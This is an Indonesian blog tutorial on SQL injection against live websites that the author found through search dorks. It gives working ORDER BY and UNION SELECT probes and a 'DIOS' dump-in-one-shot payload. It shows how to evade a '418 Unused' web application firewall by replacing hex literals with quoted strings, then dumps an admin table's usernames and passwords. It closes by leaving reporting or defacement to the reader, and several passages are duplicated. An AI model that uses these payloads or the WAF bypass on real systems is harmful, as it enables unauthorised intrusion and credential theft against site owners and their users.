Tutorial SQL Injection Bypass 418 Unused
Seperti biasa, saya ingin menyapa dulu, Halo apa kabar?
Jika kita ketahui, dimana saat dalam melakukan serangan SQL Injection terkadang ada aja beberapa query atau syntax yang dibatasi dari penggunaanya, jelas hal ini tentunya terkadang menyusahkan seorang attacker dalam melakukan aksinya.
Nah, melalui artikel kali ini saya ingin sharing tentang bagaimana sih cara bypass SQL Injection 418 Unused, dimana WAF ini tiba-tiba muncul saat saya sedang melakukan uji coba SQL Injection pada website target saya wkwkk.
Apa itu WAF?
Web Application Firewall atau juga dikenal dengan istilah WAF adalah sebagai security pada website yang berguna untuk keamanan umum. Nah, WAF ini dapat melindungi website dari serangan seperti SQL Injection, XSS, DDOS dan lain sebagainya.
Tidak heran apabila website yang kita kunjungi sekarang terkadang ada WAF, karena memang dibutuhkan guna untuk melindungi data-data penting yang ada pada website tersebut.
Maaf kalau penjelasan dari WAF ini kurang jelas, sekarang mari kita lanjut aja, lesgooo...
STEP 1: Target Website Vuln SQL Injection
Disini saya tidak akan memberikan live target aslinya, dikarenakan saya takut terjadi hal-hal yang tidak diinginkan pada website tersebut, nanti malah saya yang kena.
Ya, anggap aja website contoh target saya endpointnya seperti berikut ini:
http://contoh.com/page.php?ID=15
Kamu bisa mencari target website vuln sql injection dengan menggunakan dorking sqli yang sudah bertebaran diinternet atau mungkin bisa dengan menggunakan dork racikan kamu sendiri biar lebih dapat yang fresh.
Jika sudah dapat target vuln sql injection dan tidak menemukan waf 418 unused sql injection tidak apa-apa, malah hal seperti ini jujur saya lebih suka karena tidak adanya waf tidak juga terlalu buang waktu hanya untuk melakukan bypass waf wkwkk.
STEP 2: Melakukan Injeksi dan Balancing
Sekarang saya ingin melakukan injeksi pada target saya dengan menggunakan perintah tanda ' (petik) dibelakangnya, apakah error atau tidak.
Dan benar saja, ternyata setelah saya melakukan injeksi pada web tersebut memang tidak menampilkan kata error sql injection pada umumnya tapi hanya content tersebut hilang, berarti bisa dibilang kalau itu vuln sqli bukan?
Untuk memastikan website tersebut benar-benar vuln sqli atau tidak, saya melakukan comment/balancing dengan menggunakan tanda seperti ini --+ (double dash plus) pada akhiran payload.
Apa yang terjadi? Content yang tadinya hilang, sekarang muncul kembali setelah saya melakukan balancing, fix berarti website ini vulnerability terhadap serangan sql injection.
STEP 3: Menentukan Jumlah Columns
Apa yang saya lakukan selanjutnya adalah mentukan jumlah kolom dari table yang ada dalam database. Untuk itu saya menggunakan perintah order by dan sampai menemukan kira-kira diangka keberapa terdapat error.
url/page.php?ID=15' order by 1--+ Normal
url/page.php?ID=15' order by 2--+ Normal
url/page.php?ID=15' order by 5--+ Normal
url/page.php?ID=15' order by 10--+ Normal
url/page.php?ID=15' order by 15--+ Normal
url/page.php?ID=15' order by 19--+ Error
url/page.php?ID=15' order by 2--+ Normal
url/page.php?ID=15' order by 5--+ Normal
url/page.php?ID=15' order by 10--+ Normal
url/page.php?ID=15' order by 15--+ Normal
url/page.php?ID=15' order by 19--+ Error
Pada website target tersebut diangka 19 ternyata error, berarti itu tandanya kalau jumlah kolom hanya ada 18.
STEP 4: Mencari Angka Ajaib
Kemudian saya mencari magic number atau disebut juga dengan angka ajaib dengan cara menggunakan perintah union select pada payload kita, seperti ini.
url/page.php?ID=-15' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+
Hal ini kamu bisa sesuaikan sendiri dengan jumlah table yang kamu temukan ya, dan jangan lupa dikasih tanda - (minus) dibelakang tanda = (sama dengan) ya.
Nah selain parameter tanda minus - ini untuk memunculkan angka ajaibnya kamu bisa menggunakan parameter yang lain seperti . , div+0 , and+false , having+0 , limit 0 , dan lain sebagainya.
Setelah saya jalankan, kemudian output yang muncul disini angka ajaibnya adalah 2,5,11,15.
Oke, selanjutnya saya bisa menggunakan salah satu dari angka yang muncul tersebut untuk melakukan tahap selanjutnya, yaitu dump database menggunakan DIOS biar tidak ribet.
STEP 5: Dump Database Dengan DIOS
Tahu DIOS? Dump In One Shot tunjuanya untuk memunculkan semua table, columns dari database website tersebut hanya menggunakan satu query, mau manual atau with dios? Itu terserah deh.
Awalnya Darisini WAF Itu Muncul!
Setelah saya jalankan untuk ngedump database dengan menggunakan DIOS by Zen tiba-tiba WAF 418 Unused tersebut muncul. Kok bisa ya? Awalnya saya binggung iki opo sih tapi saya punya ide untuk membypass waf tersebut soalnya dulu juga pernah diajari.
DIOS by Zen kena WAF 418 Unused:
url/page.php?ID=-15' union select 1,2,3,4,5,6,7,8,9,10,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),12,13,14,15,16,17,18--+
url/page.php?ID=-15' union select 1,2,3,4,5,6,7,8,9,10,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),12,13,14,15,16,17,18--+
Lalu bagaimana cara bypassnya?
Pertama saya mengganti semua kode Hex/0x tersebut yang terdapat pada DIOS Zen, berikut kodenya yang terblokir oleh waf 418 unused:
Pertama saya mengganti semua kode Hex/0x tersebut yang terdapat pada DIOS Zen, berikut kodenya yang terblokir oleh waf 418 unused:
0x0a
0x3c6c693e
Jika kode tersebut kita konversi dari Hexadecimal ke Text maka kurang lebih hasil output akan seperti berikut ini:
0x0a = :
0x3c6c693e = <li>
Jadi untuk membypass waf 418 unused tersebut, didalam DIOS tidak boleh ada menggunakan kode Hex/0x, untuk mengakalinya saya bisa menggunakan single quotes 'value' jadi DIOS nya akan seperti ini:
url/page.php?ID=-15' union select 1,2,3,4,5,6,7,8,9,10,make_set(6,@:=':',(select(1)from(information_schema.columns)where@:=make_set(511,@,'<li>',table_name,column_name)),@),12,13,14,15,16,17,18--+
Setelah saya jalankan dan boom ternyata berhasil, oke waf bypassed *mrsasenang
Gimana pahamkan? Jangan pusing gaes.
Kesimpulanya Gini:
WAF 418 Unused ini mengeblok 0x0a, 0x3c6c693e pokonya yang awalanya ada 0x pada DIOS tersebut.
Untuk melakukan bypass gunakan single quotes 'value' ya.
Kesimpulanya Gini:
WAF 418 Unused ini mengeblok 0x0a, 0x3c6c693e pokonya yang awalanya ada 0x pada DIOS tersebut.
Untuk melakukan bypass gunakan single quotes 'value' ya.
Oiya buat yang nanya website untuk konversi dari Hexadecimal ke Text itu dimana, nih webnya Text to Hex Converter
STEP 6: Dump Database Username dan Password
Pastinya kamu sudah paham soal ini, ya gampang sih tinggal mencari table dan columns yang sekiranya itu berhubungan dengan username, password admin aja. Contoh misal users, web_admin, dan lain sebagainya.
Saya sudah nemu, nah disini nama columnsnya adalah utenti_amministrazione kemudian pada table terdapat ind_id, text_user, txt_password dan lain sebagainya. Saya ambil bagian txt_user dan txt_password aja.
Kira-kira kalau kita gabungkan pada DIOS dan saya tambahkan query sedikit biar tidak itu-itu aja, maka selengkapnya akan seperti berikut ini:
url/page.php?ID=-15' union select 1,2,3,4,5,6,7,8,9,10,make_set(6,@:=':',(select(1)from(utenti_amministrazione)where@:=make_set(511,@,'<li>',txt_user,txt_password)),@),12,13,14,15,16,17,18--+
Ya habis itu tinggal jalankan, maka username dan password akan muncul sperti pada gambar berikut ini:
Yasudah lah ya, kalau udah gitu ya tinggal kamu mau apakan, Laporkan? Deface? Itu silahkan terserah kamu, tapi saya punya saran jangan dideface deh kasihan juga sebenarnya.
Semoga apa yang sudah saya tulis ini dapat membantu dan berguna bagi kalian semua, mohon maaf jikalau ada kata/penjelasan yang kurang dimengerti maupun yang lainya mohon untuk diluruskan ya, dan disini saya bukan pRo apalah saya ini hehe.
Jika ada yang ingin ditanyakan, silahkan tanyakan saja dikolom komentar dibawah ini, sekiranya saya bisa saya akan bantu jawab.
Sekian artikel kali ini, tentang Tutorial SQL Injection Bypass 418 Unused semoga bermanfaat.
Terimakasih, maturnuwun atas waktunya. Yukkk let's drink some coffee :)
Post a Comment for "Tutorial SQL Injection Bypass 418 Unused"